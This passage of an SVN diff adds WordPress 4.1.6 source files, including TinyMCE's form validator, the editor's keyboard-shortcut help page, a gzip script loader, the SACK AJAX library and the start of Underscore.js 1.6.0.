+		return this.test(s, '^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+@[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$');
+	},
+
+	isAbsUrl : function(s) {
+		return this.test(s, '^(news|telnet|nttp|file|http|ftp|https)://[-A-Za-z0-9\\.]+\\/?.*$');
+	},
+
+	isSize : function(s) {
+		return this.test(s, '^[0-9.]+(%|in|cm|mm|em|ex|pt|pc|px)?$');
+	},
+
+	isId : function(s) {
+		return this.test(s, '^[A-Za-z_]([A-Za-z0-9_])*$');
+	},
+
+	isEmpty : function(s) {
+		var nl, i;
+
+		if (s.nodeName == 'SELECT' && s.selectedIndex < 1)
+			return true;
+
+		if (s.type == 'checkbox' && !s.checked)
+			return true;
+
+		if (s.type == 'radio') {
+			for (i=0, nl = s.form.elements; i<nl.length; i++) {
+				if (nl[i].type == "radio" && nl[i].name == s.name && nl[i].checked)
+					return false;
+			}
+
+			return true;
+		}
+
+		return new RegExp('^\\s*$').test(s.nodeType == 1 ? s.value : s);
+	},
+
+	isNumber : function(s, d) {
+		return !isNaN(s.nodeType == 1 ? s.value : s) && (!d || !this.test(s, '^-?[0-9]*\\.[0-9]*$'));
+	},
+
+	test : function(s, p) {
+		s = s.nodeType == 1 ? s.value : s;
+
+		return s == '' || new RegExp(p).test(s);
+	}
+};
+
+var AutoValidator = {
+	settings : {
+		id_cls : 'id',
+		int_cls : 'int',
+		url_cls : 'url',
+		number_cls : 'number',
+		email_cls : 'email',
+		size_cls : 'size',
+		required_cls : 'required',
+		invalid_cls : 'invalid',
+		min_cls : 'min',
+		max_cls : 'max'
+	},
+
+	init : function(s) {
+		var n;
+
+		for (n in s)
+			this.settings[n] = s[n];
+	},
+
+	validate : function(f) {
+		var i, nl, s = this.settings, c = 0;
+
+		nl = this.tags(f, 'label');
+		for (i=0; i<nl.length; i++) {
+			this.removeClass(nl[i], s.invalid_cls);
+			nl[i].setAttribute('aria-invalid', false);
+		}
+
+		c += this.validateElms(f, 'input');
+		c += this.validateElms(f, 'select');
+		c += this.validateElms(f, 'textarea');
+
+		return c == 3;
+	},
+
+	invalidate : function(n) {
+		this.mark(n.form, n);
+	},
+	
+	getErrorMessages : function(f) {
+		var nl, i, s = this.settings, field, msg, values, messages = [], ed = tinyMCEPopup.editor;
+		nl = this.tags(f, "label");
+		for (i=0; i<nl.length; i++) {
+			if (this.hasClass(nl[i], s.invalid_cls)) {
+				field = document.getElementById(nl[i].getAttribute("for"));
+				values = { field: nl[i].textContent };
+				if (this.hasClass(field, s.min_cls, true)) {
+					message = ed.getLang('invalid_data_min');
+					values.min = this.getNum(field, s.min_cls);
+				} else if (this.hasClass(field, s.number_cls)) {
+					message = ed.getLang('invalid_data_number');
+				} else if (this.hasClass(field, s.size_cls)) {
+					message = ed.getLang('invalid_data_size');
+				} else {
+					message = ed.getLang('invalid_data');
+				}
+				
+				message = message.replace(/{\#([^}]+)\}/g, function(a, b) {
+					return values[b] || '{#' + b + '}';
+				});
+				messages.push(message);
+			}
+		}
+		return messages;
+	},
+
+	reset : function(e) {
+		var t = ['label', 'input', 'select', 'textarea'];
+		var i, j, nl, s = this.settings;
+
+		if (e == null)
+			return;
+
+		for (i=0; i<t.length; i++) {
+			nl = this.tags(e.form ? e.form : e, t[i]);
+			for (j=0; j<nl.length; j++) {
+				this.removeClass(nl[j], s.invalid_cls);
+				nl[j].setAttribute('aria-invalid', false);
+			}
+		}
+	},
+
+	validateElms : function(f, e) {
+		var nl, i, n, s = this.settings, st = true, va = Validator, v;
+
+		nl = this.tags(f, e);
+		for (i=0; i<nl.length; i++) {
+			n = nl[i];
+
+			this.removeClass(n, s.invalid_cls);
+
+			if (this.hasClass(n, s.required_cls) && va.isEmpty(n))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.number_cls) && !va.isNumber(n))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.int_cls) && !va.isNumber(n, true))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.url_cls) && !va.isAbsUrl(n))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.email_cls) && !va.isEmail(n))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.size_cls) && !va.isSize(n))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.id_cls) && !va.isId(n))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.min_cls, true)) {
+				v = this.getNum(n, s.min_cls);
+
+				if (isNaN(v) || parseInt(n.value) < parseInt(v))
+					st = this.mark(f, n);
+			}
+
+			if (this.hasClass(n, s.max_cls, true)) {
+				v = this.getNum(n, s.max_cls);
+
+				if (isNaN(v) || parseInt(n.value) > parseInt(v))
+					st = this.mark(f, n);
+			}
+		}
+
+		return st;
+	},
+
+	hasClass : function(n, c, d) {
+		return new RegExp('\\b' + c + (d ? '[0-9]+' : '') + '\\b', 'g').test(n.className);
+	},
+
+	getNum : function(n, c) {
+		c = n.className.match(new RegExp('\\b' + c + '([0-9]+)\\b', 'g'))[0];
+		c = c.replace(/[^0-9]/g, '');
+
+		return c;
+	},
+
+	addClass : function(n, c, b) {
+		var o = this.removeClass(n, c);
+		n.className = b ? c + (o != '' ? (' ' + o) : '') : (o != '' ? (o + ' ') : '') + c;
+	},
+
+	removeClass : function(n, c) {
+		c = n.className.replace(new RegExp("(^|\\s+)" + c + "(\\s+|$)"), ' ');
+		return n.className = c != ' ' ? c : '';
+	},
+
+	tags : function(f, s) {
+		return f.getElementsByTagName(s);
+	},
+
+	mark : function(f, n) {
+		var s = this.settings;
+
+		this.addClass(n, s.invalid_cls);
+		n.setAttribute('aria-invalid', 'true');
+		this.markLabels(f, n, s.invalid_cls);
+
+		return false;
+	},
+
+	markLabels : function(f, n, ic) {
+		var nl, i;
+
+		nl = this.tags(f, "label");
+		for (i=0; i<nl.length; i++) {
+			if (nl[i].getAttribute("for") == n.id || nl[i].htmlFor == n.id)
+				this.addClass(nl[i], ic);
+		}
+
+		return null;
+	}
+};
Index: /tags/4.1.6/src/wp-includes/js/tinymce/wp-mce-help.php
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/wp-mce-help.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/wp-mce-help.php	(revision 33402)
@@ -0,0 +1,137 @@
+<?php
+/**
+ * @package TinyMCE
+ * @author Moxiecode
+ * @copyright Copyright © 2005-2006, Moxiecode Systems AB, All rights reserved.
+ */
+
+/** @ignore */
+require_once( dirname( dirname( dirname( dirname( __FILE__ ) ) ) ) . '/wp-load.php' );
+header('Content-Type: text/html; charset=' . get_bloginfo('charset'));
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head>
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
+<title><?php _e('Keyboard Shortcuts'); ?></title>
+
+<?php wp_admin_css( 'wp-admin', true ); ?>
+<style type="text/css">
+
+	html {
+		background: #fcfcfc;
+		overflow: hidden;
+	}
+
+	body {
+		min-width: 0;
+	}
+
+	.wrap {
+		background-color: #fff;
+		border-top: 1px solid #ddd;
+		height: 390px;
+		margin: 0;
+		overflow: auto;
+		padding: 10px 16px;
+	}
+
+	th {
+		text-align: center;
+	}
+
+	.top th {
+		text-decoration: underline;
+	}
+
+	.top .key {
+		text-align: center;
+		width: 5em;
+	}
+
+	.keys {
+		border: 0 none;
+		margin-bottom: 15px;
+		width: 100%;
+	}
+
+	.keys p {
+		display: inline-block;
+		margin: 0px;
+		padding: 0px;
+	}
+
+	.keys .left {
+		text-align: left;
+	}
+
+	.keys .center {
+		text-align: center;
+	}
+
+	.keys .right {
+		text-align: right;
+	}
+</style>
+<?php if ( is_rtl() ) : ?>
+<style type="text/css">
+
+	.keys .left {
+		text-align: right;
+	}
+
+	.keys .right {
+		text-align: left;
+	}
+
+</style>
+<?php endif; ?>
+</head>
+<body class="windows wp-core-ui">
+
+<div class="wrap">
+
+<div>
+	<p><?php _e('Rather than reaching for your mouse to click on the toolbar, use these access keys. Windows and Linux use Ctrl + letter. Macintosh uses Command + letter.'); ?></p>
+
+	<table class="keys">
+		<tr class="top"><th class="key center"><?php _e('Letter'); ?></th><th class="left"><?php _e('Action'); ?></th><th class="key center"><?php _e('Letter'); ?></th><th class="left"><?php _e('Action'); ?></th></tr>
+		<tr><th>c</th><td><?php _e('Copy'); ?></td><th>v</th><td><?php _e('Paste'); ?></td></tr>
+		<tr><th>a</th><td><?php _e('Select all'); ?></td><th>x</th><td><?php _e('Cut'); ?></td></tr>
+		<tr><th>z</th><td><?php _e('Undo'); ?></td><th>y</th><td><?php _e('Redo'); ?></td></tr>
+		<tr><th>b</th><td><?php _e('Bold'); ?></td><th>i</th><td><?php _e('Italic'); ?></td></tr>
+		<tr><th>u</th><td><?php _e('Underline'); ?></td><th>1</th><td><?php _e('Heading 1'); ?></td></tr>
+		<tr><th>2</th><td><?php _e('Heading 2'); ?></td><th>3</th><td><?php _e('Heading 3'); ?></td></tr>
+		<tr><th>4</th><td><?php _e('Heading 4'); ?></td><th>5</th><td><?php _e('Heading 5'); ?></td></tr>
+		<tr><th>6</th><td><?php _e('Heading 6'); ?></td><th>k</th><td><?php _e('Insert/edit link'); ?></td></tr>
+	</table>
+
+	<p><?php _e('The following shortcuts use different access keys: Alt + Shift + letter.'); ?></p>
+	<table class="keys">
+		<tr class="top"><th class="key center"><?php _e('Letter'); ?></th><th class="left"><?php _e('Action'); ?></th><th class="key center"><?php _e('Letter'); ?></th><th class="left"><?php _e('Action'); ?></th></tr>
+		<tr><th>n</th><td><?php _e('Check Spelling'); ?></td><th>l</th><td><?php _e('Align Left'); ?></td></tr>
+		<tr><th>j</th><td><?php _e('Justify Text'); ?></td><th>c</th><td><?php _e('Align Center'); ?></td></tr>
+		<tr><th>d</th><td><span style="text-decoration: line-through;"><?php _e('Strikethrough'); ?></span></td><th>r</th><td><?php _e('Align Right'); ?></td></tr>
+		<tr><th>u</th><td><strong>&bull;</strong> <?php _e('List'); ?></td><th>a</th><td><?php _e('Insert link'); ?></td></tr>
+		<tr><th>o</th><td>1. <?php _e('List'); ?></td><th>s</th><td><?php _e('Remove link'); ?></td></tr>
+		<tr><th>q</th><td><?php _e('Quote'); ?></td><th>m</th><td><?php _e('Insert Image'); ?></td></tr>
+		<tr><th>w</th><td><?php _e('Distraction-free writing mode'); ?></td><th>t</th><td><?php _e('Insert More Tag'); ?></td></tr>
+		<tr><th>p</th><td><?php _e('Insert Page Break tag'); ?></td><th>h</th><td><?php _e('Help'); ?></td></tr>
+		<tr><th>x</th><td><?php _e('Add/remove code tag'); ?></td><th> </th><td>&nbsp;</td></tr>
+	</table>
+
+	<p><?php _e('Focus shortcuts:'); ?></p>
+
+	<table class="keys focus">
+		<tr><th class="left">Alt + F8</th><td><?php _e('Image toolbar (when an image is selected)'); ?></td></tr>
+		<tr><th class="left">Alt + F9</th><td><?php _e('Editor menu (when enabled)'); ?></td></tr>
+		<tr><th class="left">Alt + F10</th><td><?php _e('Editor toolbar'); ?></td></tr>
+		<tr><th class="left">Alt + F11</th><td><?php _e('Elements path'); ?></td></tr>
+	</table>
+
+	<p><?php _e('To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.'); ?></p>
+</div>
+
+</div>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-includes/js/tinymce/wp-tinymce.php
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/wp-tinymce.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/wp-tinymce.php	(revision 33402)
@@ -0,0 +1,39 @@
+<?php
+/**
+ * Disable error reporting
+ *
+ * Set this to error_reporting( -1 ) for debugging.
+ */
+error_reporting(0);
+
+$basepath = dirname(__FILE__);
+
+function get_file($path) {
+
+	if ( function_exists('realpath') )
+		$path = realpath($path);
+
+	if ( ! $path || ! @is_file($path) )
+		return false;
+
+	return @file_get_contents($path);
+}
+
+$expires_offset = 31536000; // 1 year
+
+header('Content-Type: application/x-javascript; charset=UTF-8');
+header('Vary: Accept-Encoding'); // Handle proxies
+header('Expires: ' . gmdate( "D, d M Y H:i:s", time() + $expires_offset ) . ' GMT');
+header("Cache-Control: public, max-age=$expires_offset");
+
+if ( isset($_GET['c']) && 1 == $_GET['c'] && isset($_SERVER['HTTP_ACCEPT_ENCODING'])
+	&& false !== stripos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') && ( $file = get_file($basepath . '/wp-tinymce.js.gz') ) ) {
+
+	header('Content-Encoding: gzip');
+	echo $file;
+} else {
+	// Back compat. This file shouldn't be used if this condition can occur (as in, if gzip isn't accepted).
+	echo get_file( $basepath . '/tinymce.min.js' );
+	echo get_file( $basepath . '/plugins/compat3x/plugin.min.js' );
+}
+exit;
Index: /tags/4.1.6/src/wp-includes/js/tw-sack.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tw-sack.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tw-sack.js	(revision 33402)
@@ -0,0 +1,193 @@
+/* Simple AJAX Code-Kit (SACK) v1.6.1 */
+/* ©2005 Gregory Wild-Smith */
+/* www.twilightuniverse.com */
+/* Software licenced under a modified X11 licence,
+   see documentation or authors website for more details */
+
+function sack(file) {
+	this.xmlhttp = null;
+
+	this.resetData = function() {
+		this.method = "POST";
+  		this.queryStringSeparator = "?";
+		this.argumentSeparator = "&";
+		this.URLString = "";
+		this.encodeURIString = true;
+  		this.execute = false;
+  		this.element = null;
+		this.elementObj = null;
+		this.requestFile = file;
+		this.vars = new Object();
+		this.responseStatus = new Array(2);
+  	};
+
+	this.resetFunctions = function() {
+  		this.onLoading = function() { };
+  		this.onLoaded = function() { };
+  		this.onInteractive = function() { };
+  		this.onCompletion = function() { };
+  		this.onError = function() { };
+		this.onFail = function() { };
+	};
+
+	this.reset = function() {
+		this.resetFunctions();
+		this.resetData();
+	};
+
+	this.createAJAX = function() {
+		try {
+			this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
+		} catch (e1) {
+			try {
+				this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
+			} catch (e2) {
+				this.xmlhttp = null;
+			}
+		}
+
+		if (! this.xmlhttp) {
+			if (typeof XMLHttpRequest != "undefined") {
+				this.xmlhttp = new XMLHttpRequest();
+			} else {
+				this.failed = true;
+			}
+		}
+	};
+
+	this.setVar = function(name, value){
+		this.vars[name] = Array(value, false);
+	};
+
+	this.encVar = function(name, value, returnvars) {
+		if (true == returnvars) {
+			return Array(encodeURIComponent(name), encodeURIComponent(value));
+		} else {
+			this.vars[encodeURIComponent(name)] = Array(encodeURIComponent(value), true);
+		}
+	}
+
+	this.processURLString = function(string, encode) {
+		encoded = encodeURIComponent(this.argumentSeparator);
+		regexp = new RegExp(this.argumentSeparator + "|" + encoded);
+		varArray = string.split(regexp);
+		for (i = 0; i < varArray.length; i++){
+			urlVars = varArray[i].split("=");
+			if (true == encode){
+				this.encVar(urlVars[0], urlVars[1]);
+			} else {
+				this.setVar(urlVars[0], urlVars[1]);
+			}
+		}
+	}
+
+	this.createURLString = function(urlstring) {
+		if (this.encodeURIString && this.URLString.length) {
+			this.processURLString(this.URLString, true);
+		}
+
+		if (urlstring) {
+			if (this.URLString.length) {
+				this.URLString += this.argumentSeparator + urlstring;
+			} else {
+				this.URLString = urlstring;
+			}
+		}
+
+		// prevents caching of URLString
+		this.setVar("rndval", new Date().getTime());
+
+		urlstringtemp = new Array();
+		for (key in this.vars) {
+			if (false == this.vars[key][1] && true == this.encodeURIString) {
+				encoded = this.encVar(key, this.vars[key][0], true);
+				delete this.vars[key];
+				this.vars[encoded[0]] = Array(encoded[1], true);
+				key = encoded[0];
+			}
+
+			urlstringtemp[urlstringtemp.length] = key + "=" + this.vars[key][0];
+		}
+		if (urlstring){
+			this.URLString += this.argumentSeparator + urlstringtemp.join(this.argumentSeparator);
+		} else {
+			this.URLString += urlstringtemp.join(this.argumentSeparator);
+		}
+	}
+
+	this.runResponse = function() {
+		eval(this.response);
+	}
+
+	this.runAJAX = function(urlstring) {
+		if (this.failed) {
+			this.onFail();
+		} else {
+			this.createURLString(urlstring);
+			if (this.element) {
+				this.elementObj = document.getElementById(this.element);
+			}
+			if (this.xmlhttp) {
+				var self = this;
+				if (this.method == "GET") {
+					totalurlstring = this.requestFile + this.queryStringSeparator + this.URLString;
+					this.xmlhttp.open(this.method, totalurlstring, true);
+				} else {
+					this.xmlhttp.open(this.method, this.requestFile, true);
+					try {
+						this.xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
+					} catch (e) { }
+				}
+
+				this.xmlhttp.onreadystatechange = function() {
+					switch (self.xmlhttp.readyState) {
+						case 1:
+							self.onLoading();
+							break;
+						case 2:
+							self.onLoaded();
+							break;
+						case 3:
+							self.onInteractive();
+							break;
+						case 4:
+							self.response = self.xmlhttp.responseText;
+							self.responseXML = self.xmlhttp.responseXML;
+							self.responseStatus[0] = self.xmlhttp.status;
+							self.responseStatus[1] = self.xmlhttp.statusText;
+
+							if (self.execute) {
+								self.runResponse();
+							}
+
+							if (self.elementObj) {
+								elemNodeName = self.elementObj.nodeName;
+								elemNodeName.toLowerCase();
+								if (elemNodeName == "input"
+								|| elemNodeName == "select"
+								|| elemNodeName == "option"
+								|| elemNodeName == "textarea") {
+									self.elementObj.value = self.response;
+								} else {
+									self.elementObj.innerHTML = self.response;
+								}
+							}
+							if (self.responseStatus[0] == "200") {
+								self.onCompletion();
+							} else {
+								self.onError();
+							}
+
+							self.URLString = "";
+							break;
+					}
+				};
+
+				this.xmlhttp.send(this.URLString);
+			}
+		}
+	};
+
+	this.reset();
+	this.createAJAX();
+}
Index: /tags/4.1.6/src/wp-includes/js/underscore.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/underscore.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/underscore.js	(revision 33402)
@@ -0,0 +1,1343 @@
+//     Underscore.js 1.6.0
+//     http://underscorejs.org
+//     (c) 2009-2014 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
+//     Underscore may be freely distributed under the MIT license.
+
+(function() {
+
+  // Baseline setup
+  // --------------
+
+  // Establish the root object, `window` in the browser, or `exports` on the server.
+  var root = this;
+
+  // Save the previous value of the `_` variable.
+  var previousUnderscore = root._;
+
+  // Establish the object that gets returned to break out of a loop iteration.
+  var breaker = {};
+
+  // Save bytes in the minified (but not gzipped) version:
+  var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype;
+
+  // Create quick reference variables for speed access to core prototypes.
+  var
+    push             = ArrayProto.push,
+    slice            = ArrayProto.slice,
+    concat           = ArrayProto.concat,
+    toString         = ObjProto.toString,
+    hasOwnProperty   = ObjProto.hasOwnProperty;
+
+  // All **ECMAScript 5** native function implementations that we hope to use
+  // are declared here.
+  var
+    nativeForEach      = ArrayProto.forEach,
+    nativeMap          = ArrayProto.map,
+    nativeReduce       = ArrayProto.reduce,
+    nativeReduceRight  = ArrayProto.reduceRight,
+    nativeFilter       = ArrayProto.filter,
+    nativeEvery        = ArrayProto.every,
+    nativeSome         = ArrayProto.some,
+    nativeIndexOf      = ArrayProto.indexOf,
+    nativeLastIndexOf  = ArrayProto.lastIndexOf,
+    nativeIsArray      = Array.isArray,
+    nativeKeys         = Object.keys,
+    nativeBind         = FuncProto.bind;
+
+  // Create a safe reference to the Underscore object for use below.
+  var _ = function(obj) {
+    if (obj instanceof _) return obj;
+    if (!(this instanceof _)) return new _(obj);
+    this._wrapped = obj;
+  };
+
+  // Export the Underscore object for **Node.js**, with
+  // backwards-compatibility for the old `require()` API. If we're in
+  // the browser, add `_` as a global object via a string identifier,
+  // for Closure Compiler "advanced" mode.
+  if (typeof exports !== 'undefined') {
+    if (typeof module !== 'undefined' && module.exports) {
+      exports = module.exports = _;
+    }
+    exports._ = _;
+  } else {
+    root._ = _;
+  }
+
+  // Current version.
+  _.VERSION = '1.6.0';
+
+  // Collection Functions
+  // --------------------
+
+  // The cornerstone, an `each` implementation, aka `forEach`.
+  // Handles objects with the built-in `forEach`, arrays, and raw objects.
+  // Delegates to **ECMAScript 5**'s native `forEach` if available.
+  var each = _.each = _.forEach = function(obj, iterator, context) {
+    if (obj == null) return obj;
+    if (nativeForEach && obj.forEach === nativeForEach) {
+      obj.forEach(iterator, context);
+    } else if (obj.length === +obj.length) {
+      for (var i = 0, length = obj.length; i < length; i++) {
+        if (iterator.call(context, obj[i], i, obj) === breaker) return;
+      }
+    } else {
+      var keys = _.keys(obj);
+      for (var i = 0, length = keys.length; i < length; i++) {
+        if (iterator.call(context, obj[keys[i]], keys[i], obj) === breaker) return;
+      }
+    }
+    return obj;
+  };
+
+  // Return the results of applying the iterator to each element.
+  // Delegates to **ECMAScript 5**'s native `map` if available.
+  _.map = _.collect = function(obj, iterator, context) {
+    var results = [];
+    if (obj == null) return results;
+    if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context);
+    each(obj, function(value, index, list) {
+      results.push(iterator.call(context, value, index, list));
+    });
+    return results;
+  };
+
+  var reduceError = 'Reduce of empty array with no initial value';
+
+  // **Reduce** builds up a single result from a list of values, aka `inject`,
+  // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available.
+  _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) {
+    var initial = arguments.length > 2;
+    if (obj == null) obj = [];
+    if (nativeReduce && obj.reduce === nativeReduce) {
+      if (context) iterator = _.bind(iterator, context);
+      return initial ? obj.reduce(iterator, memo) : obj.reduce(iterator);
+    }
+    each(obj, function(value, index, list) {
+      if (!initial) {
+        memo = value;
+        initial = true;
+      } else {
+        memo = iterator.call(context, memo, value, index, list);
+      }
+    });
+    if (!initial) throw new TypeError(reduceError);
+    return memo;
+  };
+
+  // The right-associative version of reduce, also known as `foldr`.
+  // Delegates to **ECMAScript 5**'s native `reduceRight` if available.
+  _.reduceRight = _.foldr = function(obj, iterator, memo, context) {
+    var initial = arguments.length > 2;
+    if (obj == null) obj = [];
+    if (nativeReduceRight && obj.reduceRight === nativeReduceRight) {
+      if (context) iterator = _.bind(iterator, context);
+      return initial ? obj.reduceRight(iterator, memo) : obj.reduceRight(iterator);
+    }
+    var length = obj.length;
+    if (length !== +length) {
+      var keys = _.keys(obj);
+      length = keys.length;
+    }
+    each(obj, function(value, index, list) {
+      index = keys ? keys[--length] : --length;
+      if (!initial) {
+        memo = obj[index];
+        initial = true;
+      } else {
+        memo = iterator.call(context, memo, obj[index], index, list);
+      }
+    });
+    if (!initial) throw new TypeError(reduceError);
+    return memo;
+  };
+
+  // Return the first value which passes a truth test. Aliased as `detect`.
+  _.find = _.detect = function(obj, predicate, context) {
+    var result;
+    any(obj, function(value, index, list) {
+      if (predicate.call(context, value, index, list)) {
+        result = value;
+        return true;
+      }
+    });
+    return result;
+  };
+
+  // Return all the elements that pass a truth test.
+  // Delegates to **ECMAScript 5**'s native `filter` if available.
+  // Aliased as `select`.
+  _.filter = _.select = function(obj, predicate, context) {
+    var results = [];
+    if (obj == null) return results;
+    if (nativeFilter && obj.filter === nativeFilter) return obj.filter(predicate, context);
+    each(obj, function(value, index, list) {
+      if (predicate.call(context, value, index, list)) results.push(value);
+    });
+    return results;
+  };
+
+  // Return all the elements for which a truth test fails.
+  _.reject = function(obj, predicate, context) {
+    return _.filter(obj, function(value, index, list) {
+      return !predicate.call(context, value, index, list);
+    }, context);
+  };
+
+  // Determine whether all of the elements match a truth test.
+  // Delegates to **ECMAScript 5**'s native `every` if available.
+  // Aliased as `all`.
+  _.every = _.all = function(obj, predicate, context) {
+    predicate || (predicate = _.identity);
+    var result = true;
+    if (obj == null) return result;
+    if (nativeEvery && obj.every === nativeEvery) return obj.every(predicate, context);
+    each(obj, function(value, index, list) {
+      if (!(result = result && predicate.call(context, value, index, list))) return breaker;
+    });
+    return !!result;
+  };
+
+  // Determine if at least one element in the object matches a truth test.
+  // Delegates to **ECMAScript 5**'s native `some` if available.
+  // Aliased as `any`.
+  var any = _.some = _.any = function(obj, predicate, context) {
+    predicate || (predicate = _.identity);
+    var result = false;
+    if (obj == null) return result;
+    if (nativeSome && obj.some === nativeSome) return obj.some(predicate, context);
+    each(obj, function(value, index, list) {
+      if (result || (result = predicate.call(context, value, index, list))) return breaker;
+    });
+    return !!result;
+  };
+
+  // Determine if the array or object contains a given value (using `===`).
+  // Aliased as `include`.
+  _.contains = _.include = function(obj, target) {
+    if (obj == null) return false;
+    if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1;
+    return any(obj, function(value) {
+      return value === target;
+    });
+  };
+
+  // Invoke a method (with arguments) on every item in a collection.
+  _.invoke = function(obj, method) {
+    var args = slice.call(arguments, 2);
+    var isFunc = _.isFunction(method);
+    return _.map(obj, function(value) {
+      return (isFunc ? method : value[method]).apply(value, args);
+    });
+  };
+
+  // Convenience version of a common use case of `map`: fetching a property.
+  _.pluck = function(obj, key) {
+    return _.map(obj, _.property(key));
+  };
+
+  // Convenience version of a common use case of `filter`: selecting only objects
+  // containing specific `key:value` pairs.
+  _.where = function(obj, attrs) {
+    return _.filter(obj, _.matches(attrs));
+  };
+
+  // Convenience version of a common use case of `find`: getting the first object
+  // containing specific `key:value` pairs.
+  _.findWhere = function(obj, attrs) {
+    return _.find(obj, _.matches(attrs));
+  };
+
+  // Return the maximum element or (element-based computation).
+  // Can't optimize arrays of integers longer than 65,535 elements.
+  // See [WebKit Bug 80797](https://bugs.webkit.org/show_bug.cgi?id=80797)
+  _.max = function(obj, iterator, context) {
+    if (!iterator && _.isArray(obj) && obj[0] === +obj[0] && obj.length < 65535) {
+      return Math.max.apply(Math, obj);
+    }
+    var result = -Infinity, lastComputed = -Infinity;
+    each(obj, function(value, index, list) {
+      var computed = iterator ? iterator.call(context, value, index, list) : value;
+      if (computed > lastComputed) {
+        result = value;
+        lastComputed = computed;
+      }
+    });
+    return result;
+  };
+
+  // Return the minimum element (or element-based computation).
+  _.min = function(obj, iterator, context) {
+    if (!iterator && _.isArray(obj) && obj[0] === +obj[0] && obj.length < 65535) {
+      return Math.min.apply(Math, obj);
+    }
+    var result = Infinity, lastComputed = Infinity;
+    each(obj, function(value, index, list) {
+      var computed = iterator ? iterator.call(context, value, index, list) : value;
+      if (computed < lastComputed) {
+        result = value;
+        lastComputed = computed;
+      }
+    });
+    return result;
+  };
+
+  // Shuffle an array, using the modern version of the
+  // [Fisher-Yates shuffle](http://en.wikipedia.org/wiki/Fisher–Yates_shuffle).
+  _.shuffle = function(obj) {
+    var rand;
+    var index = 0;
+    var shuffled = [];
+    each(obj, function(value) {
+      rand = _.random(index++);
+      shuffled[index - 1] = shuffled[rand];
+      shuffled[rand] = value;
+    });
+    return shuffled;
+  };
+
+  // Sample **n** random values from a collection.
+  // If **n** is not specified, returns a single random element.
+  // The internal `guard` argument allows it to work with `map`.
+  _.sample = function(obj, n, guard) {
+    if (n == null || guard) {
+      if (obj.length !== +obj.length) obj = _.values(obj);
+      return obj[_.random(obj.length - 1)];
+    }
+    return _.shuffle(obj).slice(0, Math.max(0, n));
+  };
+
+  // An internal function to generate lookup iterators.
+  var lookupIterator = function(value) {
+    if (value == null) return _.identity;
+    if (_.isFunction(value)) return value;
+    return _.property(value);
+  };
+
+  // Sort the object's values by a criterion produced by an iterator.
+  _.sortBy = function(obj, iterator, context) {
+    iterator = lookupIterator(iterator);
+    return _.pluck(_.map(obj, function(value, index, list) {
+      return {
+        value: value,
+        index: index,
+        criteria: iterator.call(context, value, index, list)
+      };
+    }).sort(function(left, right) {
+      var a = left.criteria;
+      var b = right.criteria;
+      if (a !== b) {
+        if (a > b || a === void 0) return 1;
+        if (a < b || b === void 0) return -1;
+      }
+      return left.index - right.index;
+    }), 'value');
+  };
+
+  // An internal function used for aggregate "group by" operations.
+  var group = function(behavior) {
+    return function(obj, iterator, context) {
+      var result = {};
+      iterator = lookupIterator(iterator);
+      each(obj, function(value, index) {
+        var key = iterator.call(context, value, index, obj);
+        behavior(result, key, value);
+      });
+      return result;
+    };
+  };
+
+  // Groups the object's values by a criterion. Pass either a string attribute
+  // to group by, or a function that returns the criterion.
+  _.groupBy = group(function(result, key, value) {
+    _.has(result, key) ? result[key].push(value) : result[key] = [value];
+  });
+
+  // Indexes the object's values by a criterion, similar to `groupBy`, but for
+  // when you know that your index values will be unique.
+  _.indexBy = group(function(result, key, value) {
+    result[key] = value;
+  });
+
+  // Counts instances of an object that group by a certain criterion. Pass
+  // either a string attribute to count by, or a function that returns the
+  // criterion.
+  _.countBy = group(function(result, key) {
+    _.has(result, key) ? result[key]++ : result[key] = 1;
+  });
+
+  // Use a comparator function to figure out the smallest index at which
+  // an object should be inserted so as to maintain order. Uses binary search.
+  _.sortedIndex = function(array, obj, iterator, context) {
+    iterator = lookupIterator(iterator);
+    var value = iterator.call(context, obj);
+    var low = 0, high = array.length;
+    while (low < high) {
+      var mid = (low + high) >>> 1;
+      iterator.call(context, array[mid]) < value ? low = mid + 1 : high = mid;
+    }
+    return low;
+  };
+
+  // Safely create a real, live array from anything iterable.
+  _.toArray = function(obj) {
+    if (!obj) return [];
+    if (_.isArray(obj)) return slice.call(obj);
+    if (obj.length === +obj.length) return _.map(obj, _.identity);
+    return _.values(obj);
+  };
+
+  // Return the number of elements in an object.
+  _.size = function(obj) {
+    if (obj == null) return 0;
+    return (obj.length === +obj.length) ? obj.length : _.keys(obj).length;
+  };
+
+  // Array Functions
+  // ---------------
+
+  // Get the first element of an array. Passing **n** will return the first N
